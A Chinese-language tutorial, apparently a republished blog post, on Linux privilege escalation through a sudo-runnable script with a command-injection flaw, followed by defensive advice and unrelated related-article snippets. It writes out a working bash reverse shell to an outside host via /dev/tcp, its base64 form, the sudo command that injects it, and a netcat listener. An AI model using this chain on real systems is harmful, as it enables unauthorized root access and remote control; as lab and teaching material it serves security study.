Linux SUID提權 案例以及知識點提高分析

目錄

📚 Linux SUID 提權原理與紅隊實踐

🚀 概述

🛠? SUID 提權原理

核心機制

技術棧

🔍 案例背景:sudo -l 與 .monit 腳本

案例信息

腳本內容

🧪 提權步驟分解

📋 1. 檢查 sudo 權限

📜 2. 分析 .monit 腳本

?? 3. 構造惡意命令并編碼

🚀 4. 執行提權命令

🌐 5. 驗證提權結果

🔐 安全隱患與防御

安全隱患

防御措施

📝 知識點總結

🎯 結論


📚 Linux SUID 提權原理與紅隊實踐

🚀 概述

SUID(Set User ID)是 Linux 系統中的一種特殊權限機制,允許普通用戶以文件所有者的權限執行程序,通常用于需要提升權限的操作(如修改密碼)。然而,不安全的 SUID 程序可能被攻擊者利用,通過漏洞(如緩沖區溢出、環境變量劫持、命令注入)實現本地權限提升(LPE)。本文結合一個紅隊案例(利用 sudo -l.monit 腳本),詳細分析 SUID 提權原理、步驟、技術棧及防御措施。

  • 目標: 從普通用戶(nobody)提權至 root。
  • 場景: 利用 sudo 權限運行的 .monit 腳本,通過命令注入執行反彈 shell。
  • 技術棧: Linux、Bash、Base64、TCP 協議、SUID 機制。

🛠? SUID 提權原理

SUID 是一種 Linux 文件權限,允許程序以其所有者的身份運行,而非調用者的身份。這為攻擊者提供了提權的機會,尤其是當 SUID 程序存在安全漏洞時。

核心機制

  1. 權限檢查: Linux 文件有 Owner、Group 和 Others 的權限,SUID 位通過 chmod u+schmod 4755 設置,表現為權限中的 s(如 -rwsr-xr-x)。
  2. 執行流程: 當普通用戶執行 SUID 程序時,進程的 有效用戶 ID(EUID) 變為文件所有者的 UID(通常為 root),從而獲得更高權限。
  3. 漏洞利用: 攻擊者可通過以下方式利用 SUID 程序:
    • 直接執行 shell: 如 findvim 的 SUID 版本可直接調用 shell。
    • 環境變量劫持: 修改 PATHLD_PRELOAD 控制程序執行流程。
    • 命令注入/緩沖區溢出: 利用程序對用戶輸入的未驗證處理。

技術棧

  • Linux 文件系統: ext4、xfs 等,管理文件權限。
  • SUID 位: 通過 stat 系統調用設置和檢查。
  • Shell: Bash 或其他 shell,用于執行惡意命令。
  • 環境變量: PATHLD_PRELOAD 等,影響程序行為。

🔍 案例背景:sudo -l 與 .monit 腳本

在紅隊測試中,攻擊者以低權限用戶(nobody)登錄目標系統,通過 sudo -l 發現可以以 root 權限運行 /home/themiddle/.monit 腳本。分析腳本后,發現其存在命令注入漏洞,可用于提權。

案例信息

nobody@fluxcapacitor:/$ sudo -l
Matching Defaults entries for nobody on fluxcapacitor:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nobody may run the following commands on fluxcapacitor:(ALL) ALL(root) NOPASSWD: /home/themiddle/.monit

腳本內容

nobody@fluxcapacitor:/home/themiddle$ cat .monit
#!/bin/bash
if [ "$1" == "cmd" ]; thenecho "Trying to execute ${2}"CMD=$(echo -n ${2} | base64 -d)bash -c "$CMD"
fi

🧪 提權步驟分解

以下是從發現漏洞到成功提權的詳細步驟,結合紅隊視角和技術細節。

📋 1. 檢查 sudo 權限

步驟描述: 使用 sudo -l 查看當前用戶(nobody)的權限,確認可運行的命令及權限級別。

案例信息:

  • 輸出顯示用戶可運行 /home/themiddle/.monit 腳本,且以 root 權限 執行(NOPASSWD 表示無需密碼)。
  • secure_path 限制了 PATH 環境變量,但不影響 .monit 腳本的執行。

紅隊視角:

  • 發現 NOPASSWD 是一個高價值目標,表明無需額外身份驗證即可提權。
  • .monit 腳本路徑明確,需進一步分析其邏輯。

技術棧:

  • sudo: Linux 權限管理工具,檢查用戶特權。
  • Bash: 解析 sudo -l 輸出。
  • 文件權限: 確認 .monit 是否為 SUID 或由 root 擁有。

協議與技術點:

  • sudoers 文件解析,基于 /etc/sudoers/etc/sudoers.d/
  • 上下文:env_resetsecure_path 限制環境變量,需檢查是否可繞過。

上下關聯:

  • 下一步需分析 .monit 腳本內容,尋找可利用點。

📜 2. 分析 .monit 腳本

步驟描述: 查看 .monit 腳本,識別其邏輯和潛在漏洞。

案例信息:

#!/bin/bash
if [ "$1" == "cmd" ]; thenecho "Trying to execute ${2}"CMD=$(echo -n ${2} | base64 -d)bash -c "$CMD"
fi
  • 腳本檢查第一個參數($1)是否為 cmd
  • 如果是,則將第二個參數($2)進行 Base64 解碼,并通過 bash -c 執行解碼后的命令。

紅隊視角:

  • 漏洞點: bash -c "$CMD" 直接執行用戶輸入(Base64 解碼后的 $2),未進行輸入驗證,存在命令注入風險。
  • 由于腳本以 root 權限運行(通過 sudo),注入的命令也將以 root 權限執行。

技術棧:

  • Bash 腳本: 解析和執行邏輯。
  • Base64: 用于編碼/解碼命令。
  • Linux 進程: bash -c 創建新 shell 執行命令。

協議與技術點:

  • Base64 編碼/解碼:base64 -d 將輸入轉換為可執行命令。
  • Shell 命令執行:bash -c 允許動態執行任意命令。
  • 上下文:需構造 Base64 編碼的惡意命令(如反彈 shell)。

上下關聯:

  • 下一步是構造惡意命令并進行 Base64 編碼。

?? 3. 構造惡意命令并編碼

步驟描述: 設計要執行的命令(如反彈 shell),并將其 Base64 編碼以匹配腳本邏輯。

案例信息:

  • 目標命令:bash -i >& /dev/tcp/10.10.14.48/1234 0>&1,建立反彈 shell。
  • Base64 編碼:
    echo -n "bash -i >& /dev/tcp/10.10.14.48/1234 0>&1" | base64
    # 輸出:YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE0LjQ4LzEyMzQgMD4mMQ==
    

紅隊視角:

  • 反彈 shell 是紅隊常用的提權后持久化訪問方式。
  • Base64 編碼確保命令符合 .monit 腳本的處理邏輯。
  • 攻擊者需在自己的機器(10.10.14.48:1234)上監聽連接。

技術棧:

  • Base64: 標準編碼工具,Linux 自帶。
  • TCP 協議: 反彈 shell 使用 TCP 連接。
  • Netcat: 攻擊者機器上用于監聽反彈 shell。

協議與技術點:

  • TCP 反彈 shell:通過 /dev/tcp 建立網絡連接。
  • Base64 編碼:確保命令格式符合腳本要求。
  • 上下文:編碼后的命令將作為 $2 傳遞給 .monit

上下關聯:

  • 下一步是使用 sudo 執行 .monit 腳本并傳入編碼后的命令。

🚀 4. 執行提權命令

步驟描述: 使用 sudo 執行 .monit 腳本,傳入構造的 Base64 編碼命令。

案例信息:

sudo /home/themiddle/.monit cmd YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE0LjQ4LzEyMzQgMD4mMQ==

紅隊視角:

  • sudo 確保腳本以 root 權限運行。
  • 參數 cmd 觸發腳本的命令執行邏輯,YmFzaCA... 是 Base64 編碼的反彈 shell 命令。
  • 攻擊者需確保監聽器(如 nc -lvnp 1234)已在 10.10.14.48 上運行。

技術棧:

  • sudo: 提升權限執行腳本。
  • Bash: 解析和執行 .monit 腳本。
  • Netcat: 接收反彈 shell。

協議與技術點:

  • sudo 權限提升:基于 sudoers 配置。
  • TCP 連接:反彈 shell 通過 TCP 協議通信。
  • 上下文:腳本解碼 Base64 輸入并以 root 權限執行。

上下關聯:

  • 下一步是在攻擊者機器上驗證反彈 shell 是否成功。

🌐 5. 驗證提權結果

步驟描述: 在攻擊者機器上接收反彈 shell,確認獲得 root 權限。

案例信息:

  • 攻擊者在 10.10.14.48 上運行:
    nc -lvnp 1234
    
  • 接收到連接后,運行:
    whoami
    # 輸出:root
    

紅隊視角:

  • 成功接收反彈 shell 表明提權成功。
  • root 權限允許執行任意命令,如安裝后門、提取敏感數據等。

技術棧:

  • Netcat: 監聽 TCP 端口,接收 shell。
  • Bash: 提供交互式 root shell。
  • Linux 用戶管理: 驗證 EUID 為 0(root)。

協議與技術點:

  • TCP 協議:支持反彈 shell 的網絡通信。
  • Linux 權限模型:確認 shell 的權限級別。
  • 上下文:提權成功后,可進一步進行橫向移動或持久化。

上下關聯:

  • 后續可探索其他 SUID 程序或系統配置以鞏固權限。

🔐 安全隱患與防御

安全隱患

  • SUID 濫用: 不安全的 SUID 程序(如 .monit)可能被利用執行任意命令。
  • 環境變量劫持: 未清理的 PATHLD_PRELOAD 可導致惡意代碼執行。
  • 命令注入: 腳本對用戶輸入(如 $2)的未驗證處理導致漏洞。
  • 調試模式: 生產環境中啟用的調試工具增加風險。

防御措施

  1. 最小化 SUID 程序:
    • 定期審計 SUID 文件:
      find / -perm -4000
      
    • 移除不必要的 SUID 權限:chmod u-s <file>
  2. 限制 tmp 目錄:
    • 設置 noexec 掛載選項,防止 /tmp 執行腳本:
      mount -o remount,noexec /tmp
      
  3. 清理環境變量:
    • 使用 sudoenv_resetsecure_path 限制用戶控制的環境變量。
  4. 輸入驗證:
    • 確保 SUID 程序和腳本(如 .monit)對輸入進行嚴格驗證。
  5. 監控與日志:
    • 啟用系統日志,監控 sudo 和異常命令執行。
  6. 移除占位符:
    • 檢查配置文件,移除 [Your address][Your name] 等占位符,替換為實際值(如 addressname)。

📝 知識點總結

  • SUID 原理: 允許程序以所有者權限運行,EUID 切換為文件所有者的 UID。
  • 漏洞類型: 命令注入、環境變量劫持、緩沖區溢出等。
  • 技術棧: Linux 文件系統、Bash、Base64、TCP 協議、sudo。
  • 利用流程: 檢查權限 → 分析腳本 → 構造 Payload → 執行提權 → 驗證結果。
  • 防御措施: 最小化 SUID 程序、限制 /tmp、清理環境變量、嚴格輸入驗證。

🎯 結論

  • SUID 提權是 Linux 系統中常見的本地權限提升手法,尤其在紅隊測試中,利用不安全的 SUID 程序或腳本(如 .monit)可快速獲得 root 權限。
  • 我通過一個具體案例(sudo -l.monit 腳本),詳細分解了提權步驟,涵蓋了原理、技術棧和防御策略。
  • 系統管理員應定期審計 SUID 文件、限制環境變量并加強輸入驗證,以降低提權風險。紅隊測試者可結合本文步驟,利用工具(如 findbase64nc)挖掘類似漏洞。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/85020.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/85020.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/85020.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

S參數與串擾-信號完整性分析

S參數與串擾: 四端口網絡S參數中&#xff0c;仍表示反射&#xff0c;表示信號的傳輸。根據S參數的定義&#xff0c;和兩個參數的含義為 當只有端口1有正弦信號激勵源時&#xff0c;從端口3和端口4出來的正弦信號只能是互連結構內部耦合過來的&#xff0c;因此表示的是近端串擾…

Android OkHttp 框架超時設置詳解

OkHttp 提供了四種不同的超時設置&#xff0c;每種針對網絡請求的不同階段&#xff1a; 1. callTimeout (調用超時) 作用&#xff1a;控制整個調用從開始到結束的總時間&#xff0c;包括所有重定向和重試 默認值&#xff1a;0 (不超時) 場景&#xff1a;當你希望限制整個請求…

如何讓LLM通過反思來提升生成sql的正確率 - 以Gemini生成sql為例

什么是Agent Reflection 通常指 “智能體反思”&#xff0c;即讓 AI 系統通過自我反思機制優化決策或任務處理過程&#xff0c;類似人類通過復盤改進策略。 創建一個 SQL Agent 導入相關的庫 import openai import pandas as pd import sqlite3 from util.get_schema impor…

數字IC學習筆記(二)

數字IC學習筆記&#xff08;二&#xff09; 宏定義&#xff0c;異步FIFO, 時鐘來源&#xff0c;復位信號 文章目錄 數字IC學習筆記&#xff08;二&#xff09;1. define宏定義的使用2&#xff0c;異步FIFO原理3&#xff0c;時鐘來源4&#xff0c;復位參考資料 1. define宏定義的…

日志輸出功能

當程序運行出現問題時&#xff0c;日志記錄是一種非常有用的工具&#xff0c;它可以幫助我們追蹤和定位問題。在 MicroPython 中&#xff0c;可以使用 log 模塊來記錄程序運行中的信息。本文將介紹 log 模塊的使用方法和常見功能。 日志級別 log.DEBUG 常量&#xff0c;用來…

【JVM】- 類加載與字節碼結構1

類文件結構 ClassFile {u4 magic;u2 minor_version;u2 major_version;u2 constant_pool_count;cp_info constant_pool[constant_pool_count-1];u2 access_flags;u2 this_class;u2 …

Android及Harmonyos實現圖片進度顯示效果

鴻蒙Harmonyos實現&#xff0c;使用ImageKnife自定義transform來實現圖片進度效果 import { Context } from ohos.abilityAccessCtrl; import { image } from kit.ImageKit; import { drawing } from kit.ArkGraphics2D; import { GrayScaleTransformation, PixelMapTransform…

linux 中的自動化之systemd

linux | 自動化之systemd linux 中的自動化之systemd 學習總是循序漸進的。 linux 中程序的自動化&#xff0c;包括早期手動啟動&#xff0c;查看啟動后的日志、分析啟動情況&#xff0c;再到后面封裝腳本(大致要求啟動后檢查是否掛了&#xff0c;掛了拉起&#xff0c;沒掛跳過…

【編譯工具】CodeRider 2.0:馭碼 CodeRider 2.0 全流程智能研發協作平臺深度技術測評報告

目錄 前言&#xff1a;CodeRider 2.0 簡介 &#xff08;1&#xff09;核心功能 &#xff08;2&#xff09;適用場景 &#xff08;3&#xff09;優勢 一、產品概述與技術架構 &#xff08;1&#xff09;產品定位與核心價值 &#xff08;2&#xff09;技術架構解析 &…

抓包 TCP 四次揮手報文

文章目錄 抓包 TCP 三次握手報文一、第一次揮手二、第二次揮手三、第三次揮手四、第四次揮手 抓包 TCP 三次握手報文 抓包 TCP 三次握手報文 一、第一次揮手 二、第二次揮手 三、第三次揮手 四、第四次揮手

KMP(Kotlin Multiplatform)發布Web版本亂碼

一、背景 最近用KMP嘗試運行在Android、iOS、desktop都成功了&#xff0c;網絡數據訪問也正常。 可是當運行wasmJs的時候遇到了2個較大的問題。 中文字體出現亂碼。 出現了跨域問題。 首先貼一下每個平臺的運行截圖&#xff1a; Android iOS Desktop 二、問題 當web跑起…

一個應用程序或移動網站項目提供最佳UI解決方案

一個應用程序或移動網站項目提供最佳UI解決方案 此套件是用大量的愛和辛勤工作制作的&#xff0c;為您的下一個應用程序或移動網站項目提供最佳解決方案。120個完全可編輯的界面&#xff0c;分為10個類別和2種文件格式&#xff0c;Photoshop和AI。簡單易用的結構將允許您以所…

Android studio打包生成jar包文件

Android studio打包生成jar包文件 一 項目配置1.修改 app/build.gradle2.修改 AndroidManifest.xml 二 打 Jar 包1.修改 app/build.gradle2.編譯生成 Jar 包 一 項目配置 1.修改 app/build.gradle 將com.android.application改成com.android.library注釋掉applicationId 2.…

JAVA類加載機制(jdk8)

三句話總結JDK8的類加載機制&#xff1a; 類緩存&#xff1a;每個類加載器對他加載過的類都有一個緩存。雙親委派&#xff1a;向上委托查找&#xff0c;向下委托加載。沙箱保護機制&#xff1a;不允許應用程序加載JDK內部的系統類。 JDK8的類加載體系 類加載器的核心方法 //…

更進一步深入的研究ObRegisterCallBack

引入 我們如果想hook對象的回調,在上篇文章里我們已經知道了對象回調函數存在一個列表里面&#xff0c;我們通過dt可以看見&#xff0c;這里他是一個LIST_ENTRY結構&#xff0c;但是實際調用的時候&#xff0c;這樣是行不通的&#xff0c;說明它結構不對 0: kd> dt _OBJEC…

Nginx-3 Nginx 的負載均衡策略

Nginx-3 Nginx 的負載均衡策略 Nginx 的負載均衡其實就是指將請求按照一定的策略轉發給服務集群中的一臺&#xff0c;提高了服務集群的可用性&#xff0c;解決數據流量過大、網絡負荷過重的問題。 AKF 擴展立方體 分為 3 個方向負載&#xff1a; x 軸&#xff1a;增加實例數…

Wiiu平臺RetroArch全能模擬器美化整合包v1.18

這款WiiU平臺RetroArch全能模擬器美化整合包v1.18的亮點包括&#xff1a; 1. 18款平臺完美兼容&#xff1a;無論你是喜歡NES時代的經典游戲&#xff0c;還是鐘愛SNES、GBA等平臺的大作&#xff0c;這款整合包都能滿足你的需求&#xff0c;讓你盡情暢玩游戲。 2. 三款自制主題&a…

MyBatis原理

Mybatis執行過程為&#xff1a;接口代理->sqlSession會話->executor執行器->JDBC操作 一、接口代理 Mybatis根據Mapper接口&#xff0c;動態生成相應實現類 二、SqlSession介紹 MyBatis核心對象SqlSession介紹 - MyBatis中文官網 三、Executor執行器介紹 精通My…

升級內核4.19-腳本

#bash cd /root yum remove -y kernel-tools-3.10.0-1160.el7.x86_64 yum remove -y kernel-tools-libs-3.10.0-1160.el7.x86_64tar -xvf rhel-7-amd64-rpms.tar.gz cd /root/rhel-7-amd64-rpms #安裝依賴、包括socat&conntrack yum localinstall -y *.rpm --skip-broken#升…